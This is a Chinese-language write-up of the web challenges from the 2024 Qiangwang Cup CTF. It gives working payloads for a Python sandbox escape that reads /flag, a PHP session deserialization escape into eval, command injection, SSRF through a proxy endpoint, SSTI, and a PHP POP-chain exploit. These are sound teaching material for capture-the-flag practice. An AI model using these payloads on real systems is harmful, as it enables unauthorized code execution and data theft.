2024 第八届强网杯线上赛Web Writeup

PyBlockly

python沙箱逃逸,关键是过滤了很多符号,但是使用了unicode.unicode,可以把unicode字符转换成最相似的ASCII字符,使用中文符号绕过即可

先来查看根目录

‘;__import__(”builtins”)。len=lambda p:0;’‘;__import__(”os”)。system(”ls -al /”);’

image-20241103223850756

发现flag只有root用户可以读取,那我们可以使用dd if直接读取flag文件

‘;__import__(”builtins”)。len=lambda p:0;’‘;__import__(”os”)。system(”dd if=/flag”);’

image-20241103223754194

platform

扫一下后台得到www.zip

看了一下class.php里面的内容,猜测是一个session反序列化逃逸。

image-20241103173222772

image-20241103173032283

在本地搭建一个环境看一下。

随便注册一个用户登陆进去之后,会生成一个sess_xxxxx的文件 并且这个key是随机的,我们并不能确定。

image-20241103173430392

image-20241103173952232

我们需要利用这个去执行命令,先生成一个phpinfo的内容。

<?php
class notouchitsclass {
    public $data;

    public function __construct($data) {
        $this->data = $data;
    }

    public function __destruct() {
        eval($this->data);
    }
}
echo serialize(new notouchitsclass('phpinfo();'));
?>

image-20241103174039696

然后将password那地方给替换掉。

image-20241103174105394

刷新可以看到执行了phpinfo,那么思路猜测的是正确的,我们需要去进行逃逸,将session_key和password都吃掉,生成一个新的我们构造的password.

image-20241103174233912

命令执行我们用echo ``

username我们传入 execexecexecexecexecexecexecexecexecexecexecexecexecexecexecexecexec

password我们传入

";password|O:15:"notouchitsclass":1:{s:4:"data";s:12:"echo `ls /`;";}

因为这个key我们无法预测,可以bp一直跑。

image-20241103180526528

image-20241103180536998

";password|O:15:"notouchitsclass":1:{s:4:"data";s:23:"echo `ls /;./readflag`;";}

image-20241103180816818

xiaohuanxiong

扫描admin的二级目录

image-20241102235056505

访问/admin/authors

image-20241102235224844

然后修改管理员密码

image-20241102235157267

47bb1842b6

登录后支付设置直接写入命令

image-20241102235404492

访问拿到flag

image-20241102235439049

snake

进去之后输入username,然后是一个贪吃蛇的,速度挺快的,扫目录也没得到啥,应该是要到达一定的分数,把game.js给ai拷打一下。

image-20241103213845717

import requests
import json
from heapq import heappop, heappush

current_direction = "RIGHT"
last_direction = "RIGHT"

direction_map = {
    "UP": "DOWN",
    "DOWN": "UP",
    "LEFT": "RIGHT",
    "RIGHT": "LEFT"
}

def heuristic(a, b):
    return abs(a[0] - b[0]) + abs(a[1] - b[1])

def a_star_search(start, goal, grid_size, snake):
    open_set = []
    heappush(open_set, (0, start))
    came_from = {}
    g_score = {start: 0}
    f_score = {start: heuristic(start, goal)}

    while open_set:
        _, current = heappop(open_set)

        if current == goal:
            path = []
            while current in came_from:
                path.append(current)
                current = came_from[current]
            path.reverse()
            return path

        for dx, dy in [(0, -1), (0, 1), (-1, 0), (1, 0)]:
            neighbor = (current[0] + dx, current[1] + dy)
            if 0 <= neighbor[0] < grid_size and 0 <= neighbor[1] < grid_size and neighbor not in snake:
                tentative_g_score = g_score[current] + 1
                if neighbor not in g_score or tentative_g_score < g_score[neighbor]:
                    came_from[neighbor] = current
                    g_score[neighbor] = tentative_g_score
                    f_score[neighbor] = tentative_g_score + heuristic(neighbor, goal)
                    heappush(open_set, (f_score[neighbor], neighbor))

    return []

def get_next_direction(snake, food, grid_size):
    global current_direction, last_direction

    head_x, head_y = snake[0]['x'], snake[0]['y']
    food_x, food_y = food[0], food[1]

    path = a_star_search((head_x, head_y), (food_x, food_y), grid_size, [(seg['x'], seg['y']) for seg in snake])

    if path:
        next_x, next_y = path[0]
        if next_x > head_x:
            return "RIGHT"
        elif next_x < head_x:
            return "LEFT"
        elif next_y > head_y:
            return "DOWN"
        elif next_y < head_y:
            return "UP"
    else:
        possible_directions = ["UP", "DOWN", "LEFT", "RIGHT"]
        possible_directions.remove(direction_map[current_direction])
        return possible_directions[0]

url = "http://eci-2zeg9nmyrzhwzgcfhwik.cloudeci1.ichunqiu.com:5000/move"
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0",
    "Accept": "*/*",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Referer": "http://eci-2zeg9nmyrzhwzgcfhwik.cloudeci1.ichunqiu.com:5000/",
    "Content-Type": "application/json",
    "Origin": "http://eci-2zeg9nmyrzhwzgcfhwik.cloudeci1.ichunqiu.com:5000/",
    "Connection": "close",
    "Cookie": "session=eyJ1c2VybmFtZSI6IjEifQ.ZydYYQ.y4ThT_rofnb2wUqbhAdL-57DLLU",
    "Priority": "u=4"
}
proxies = {
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080",
}

def main():
    global current_direction, last_direction 

    while True:
        try:
            response = requests.post(url, headers=headers, data=json.dumps({"direction": current_direction}), proxies=proxies)

            if response.status_code == 200:
                game_data = json.loads(response.text)

                if 'status' in game_data:
                    if game_data['status'] == 'game_over':
                        print("Game Over!")
                        print("Final Score:", game_data.get('score', 'Score not provided'))
                        break
                    elif game_data['status'] == 'win':
                        print("Congratulations! You win!")
                        print("Final Score:", game_data.get('score', 'Score not provided'))

                score = game_data.get('score', 0)
                if score >= 50:
                    burp_url = "http://127.0.0.1:8080/some_endpoint"  
                    burp_response = requests.post(burp_url, json=game_data)
                    print("Data sent to Burp:", burp_response.status_code)

                food = game_data.get('food', [])
                snake = [{'x': segment[0], 'y': segment[1]} for segment in game_data.get('snake', [])]
                grid_size = game_data.get('grid_size', 20)

                print("Food:", food)
                print("Snake:", snake)
                print("Current Score:", score)

                if food and snake:
                    next_direction = get_next_direction(snake, food, grid_size)
                    current_direction = next_direction
            else:
                print(f"Request failed with status code: {response.status_code}")
                print("Response Body:", response.text)
                break
        except requests.exceptions.RequestException as e:
            print(f"Request error: {e}")
            print("Response Body:", response.text if 'response' in locals() else "No response")
            break
        except json.JSONDecodeError as e:
            print(f"JSON decode error: {e}")
            print("Response Body:", response.text if 'response' in locals() else "No response")
            break
        except KeyError as e:
            print(f"Key error: {e}")
            print("Response Body:", response.text if 'response' in locals() else "No response")
            break
        except Exception as e:
            print(f"Unexpected error: {e}")
            print("Response Body:", response.text if 'response' in locals() else "No response")
            break

if __name__ == "__main__":
    main()

这里的话加一个代理,使得每次发包的流量都经过bp,方便后续查看状态。

image-20241103214907887

image-20241103214136787

这里跑的话要多跑几次。

image-20241103214931885

可以看到赢得比赛之后出现一个路由 我们去访问。

image-20241103215007722

经过测试发现这是一个sql注入。

image-20241103215112767

image-20241103215058598

这里字段很明显了,就是三,也就是time这个字段,但是数据库也没爆出来。

后面测试发现这就是一个ssti.

image-20241103215458923

这里的话 记得用url编码一下

image-20241103215602542

image-20241103215628739

proxy

审计源码发现通过/v2/api/proxy访问/v1/api/flag就行,但是从proxy.conf中发现需要访问http://localhost:8769/v1/api/flag

image-20241103102724680

import requests
import json

def get_flag_via_proxy():
    # 定义代理请求的 URL
    proxy_url = "http://47.94.226.70:36891/v2/api/proxy"  # 替换为你的代理服务器地址

    # 定义请求头
    headers = {
        "Content-Type": "application/json"
    }

    # 设置请求数据,通过 /v2/api/proxy 访问 /v1/api/flag
    data = {
        "url": "http://localhost:8769/v1/api/flag",  # 代理到 localhost:8769
        "method": "POST",  # 确保使用正确的请求方法
        "body": "",  # 如果需要请求体,填入相应内容
        "headers": {
            "Content-Type": "application/json"
            # 添加其他必要的请求头,例如身份验证头
        },
        "follow_redirects": False
    }

    try:
        # 发送请求到代理端点
        response = requests.post(proxy_url, headers=headers, data=json.dumps(data))

        # 检查响应状态码
        if response.status_code == 200:
            # 提取并打印 flag
            flag = response.json().get("flag")
            print("Flag:", flag.decode('utf-8') if isinstance(flag, bytes) else flag)
        else:
            print(f"Error: Received status code {response.status_code}")
            print("Response:", response.text)
    except requests.RequestException as e:
        print("Request failed:", e)

# 执行脚本
get_flag_via_proxy()

image-20241103102831848

base64解码得到flag

image-20241103102846517

Password Game

在game.php这个地方进行抓包,来满足3条规则。

image-20241103182838531

这个满足三条规则即可。

满足条件之后就会输出一段反序列化的代码。

image-20241103183324307

<?php
include ('flag.php');
highlight_file(__FILE__);
function filter($password){
    $filter_arr = array("admin","2024qwb");
    $filter = '/'.implode("|",$filter_arr).'/i';
    return preg_replace($filter,"nonono",$password);
}

class guest{
    public $username;
    public $value;
    public function __tostring(){
        if($this->username=="guest"){
            $value();
        }
        return $this->username;
    }

    public function __call($key,$value){
        if($this->username==md5($GLOBALS["flag"])){
            echo $GLOBALS["flag"];
        }
    }
}
class root{
    public $username;
    public $value;
    public function __get($key){
        if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
            $this->value = $GLOBALS["flag"];
            echo md5("hello:".$this->value);
        }
    }
}
class user{
    public $username;
    public $password;
    public $value;
    public function __invoke(){
        $this->username=md5($GLOBALS["flag"]);
        return $this->password->guess(); 
    }
    public function __destruct(){
        if(strpos($this->username, "admin") == 0 ){
            echo "hello".$this->username;
        }
    }
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
    echo "hello!";
}

flag是全局变量,需要将其echo出来。

整体思路就是利用引用,在root类里面定义一个不存在的属性,然后将其和user里面的value进行引用 触发get魔术方法。

image-20241103185702410

这个地方会echo出username,也就是$this->value = $GLOBALS[“flag”]; 这个地方。

先在本地测试一下:

image-20241103190111605

<?php
class guest
{
    public $username;
    public $value;
}
class root{
    public $username;
    public $fs;
    public $value;
}
class user{
    public $username;
    public $password;
    public $value;

}
$a = new root();
$a->username = "qwb";
$a->value = 2024;
$b=new user();
$a->fs = $b;
$a->fs ->username = &$a->value;
$a->fs ->password = "Aa123";
echo serialize($a);
#O:4:"root":3:{s:8:"username";s:3:"qwb";s:2:"fs";O:4:"user":3:{s:8:"username";i:2024;s:8:"password";s:5:"Aa123";s:5:"value";N;}s:5:"value";R:4;}

发现是可以的。

后面反序列化的数字总和仍然需要满足那三个规则,这里改的话主要是改password,慢慢计算即可。

image-20241103190450800

image-20241103190655532

最后那个地方得满足前两个条件。

这里修改一下。

image-20241103190820703

image-20241103190958516